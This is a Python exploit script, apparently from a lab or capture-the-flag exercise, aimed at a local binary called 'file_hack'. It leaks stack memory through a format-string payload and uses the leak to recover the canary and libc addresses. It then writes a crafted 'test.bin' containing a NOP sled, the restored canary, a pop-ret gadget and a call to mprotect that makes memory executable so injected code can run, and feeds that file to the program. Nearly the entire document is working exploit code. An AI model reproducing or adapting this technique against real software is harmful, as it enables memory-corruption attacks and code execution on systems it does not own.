import subprocess as sp
from threading import Thread
from queue import Queue,Empty
import time
import binascii

def getabit(o,q):
    for c in iter(lambda:o.read(1),b''):
        q.put(c)
    o.close()

def getdata(q):
    r = b''
    while True:
        try:
            c = q.get(False)
        except Empty:
            break
        else:
            r += c
    return r

def addressPlusOffset(startAddress, offset):
    intAddress = int(startAddress, base=16) 
    intOffset = int(offset, base=16)
    intFinalAddress = intAddress + intOffset #pop-ret address 0xF7ECF6C2
    strFinalAddress = hex(intFinalAddress)
    strFinalAddress = strFinalAddress[2:] #delete '0x'
    return strFinalAddress

pobj = sp.Popen('./file_hack',stdin=sp.PIPE,stdout=sp.PIPE,shell=True)
q = Queue()
t = Thread(target=getabit,args=(pobj.stdout,q))
t.daemon = True
t.start()

#get stack content from getUserName() by format string vulnerability
print('Sleep for 1 second...')
time.sleep(1) #to ensure that the data will be processed completely
receivedData = getdata(q).decode()
if not t.is_alive():
    exit()
in_dat = "%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%8x%8x%8x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%8x%8x%8x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%8x%8x%8x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%8x%8x%8x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%8x%8x%8x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%8x%8x%8x"
pobj.stdin.write(bytes(in_dat,'utf-8'))
pobj.stdin.write(b'\n')
pobj.stdin.flush()
#--




#creating a vuln binary file
print('Sleep for 1 second...')
time.sleep(1) #to ensure that the data will be processed completely
line = getdata(q).decode() #reciev the stack content
line = line[9:] #delete "Welcome: " message
stack = [line[i:i+2] for i in range(0, len(line), 2)] #split the string into list of bytes (2 hex char) 

with open("test.bin", "wb") as binary_file:
    binary_file.write(b'\x54\x21\x44\x12\x09\x00\x00\x00\x02\x00\x00\x00\x30\x00\x00\x00\x0c\x00\x00\x00\xFF\x00\x00\x00\x30\x00\x00\x00\xFF\x00\x00\x00\x34\x00\x00\x00')
    for i in range(227): #malicious code to run (0x90 = nop's for test)
        binary_file.write(b'\x90')
    binary_file.write(b'\x02\x00\x00\x00')
    for i in range(8):
        binary_file.write(b'\x90')
#canary
    for i in range(19,15,-1): #19 18 17 16
        binary_file.write(binascii.unhexlify(stack[i]))

    for i in range(4):
        binary_file.write(b'\x90')

    #binary_file.write(b'\xF1\x5C\x55\x56') pop-ret address
    someLibcFuncAddressFromStack = stack[56]+stack[57]+stack[58]+stack[59] #0xf7df3e81
    strFinalAddress = addressPlusOffset(someLibcFuncAddressFromStack, "DB841") # offset to pop-ret 0xDB841
    splitedFinalAddress = [strFinalAddress[i:i+2] for i in range(0, len(strFinalAddress), 2)] #split the string into list of bytes (2 hex char)
    for i in range(3,-1,-1): #3 2 1 0
        binary_file.write(binascii.unhexlify(splitedFinalAddress[i])) 


    # binary_file.write(b'\xF0\xAA\x55\x56') fh address
    for i in range(67,63,-1): #67 66 65 64
        binary_file.write(binascii.unhexlify(stack[i]))

    #binary_file.write(b'\x60\xF6\xEC\xF7') mprotect address
    strFinalAddress = addressPlusOffset(someLibcFuncAddressFromStack, "DB7DF") # offset to mprotect 0xDB7DF
    splitedFinalAddress = [strFinalAddress[i:i+2] for i in range(0, len(strFinalAddress), 2)] #split the string into list of bytes (2 hex char)
    for i in range(3,-1,-1): #3 2 1 0
        binary_file.write(binascii.unhexlify(splitedFinalAddress[i]))

    # binary_file.write(b'\x04\xD0\xFF\xFF\x00') my code address 
    someLibcFuncAddressFromStack = stack[64]+stack[65]+stack[66]+stack[67] # address of fh 0x????
    strFinalAddress = addressPlusOffset(someLibcFuncAddressFromStack, "E3") # offset from fh to my code 0xE3
    splitedFinalAddress = [strFinalAddress[i:i+2] for i in range(0, len(strFinalAddress), 2)] #split the string into list of bytes (2 hex char)
    for i in range(3,-1,-1): #3 2 1 0
        binary_file.write(binascii.unhexlify(splitedFinalAddress[i]))

    binary_file.write(b'\xD0\xFF\xFF\x00\x10\x00\x00\x07\x00\x00\x00') #mprotect parameters

    for i in range(91):
        binary_file.write(b'\x90')
    binary_file.write(b'\x00')
    binary_file.close()
#--




#intert the vuln file path to program
print('Sleep for 1 second...')
time.sleep(1)#to ensure that the data will be processed completely
if not t.is_alive():
    exit()
in_dat = "./test.bin"
pobj.stdin.write(bytes(in_dat,'utf-8'))
pobj.stdin.write(b'\n')
pobj.stdin.flush()
#--

#
#while True:
#    print('Sleep for 1 second...')
#    time.sleep(1)#to ensure that the data will be processed completely
#    print('Data received:' + getdata(q).decode())
#    if not t.is_alive():
#        break
#    #in_dat = input('Your data to input:')
#    in_dat = "%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x"
#    pobj.stdin.write(bytes(in_dat,'utf-8'))
#    pobj.stdin.write(b'\n')
#    pobj.stdin.flush()
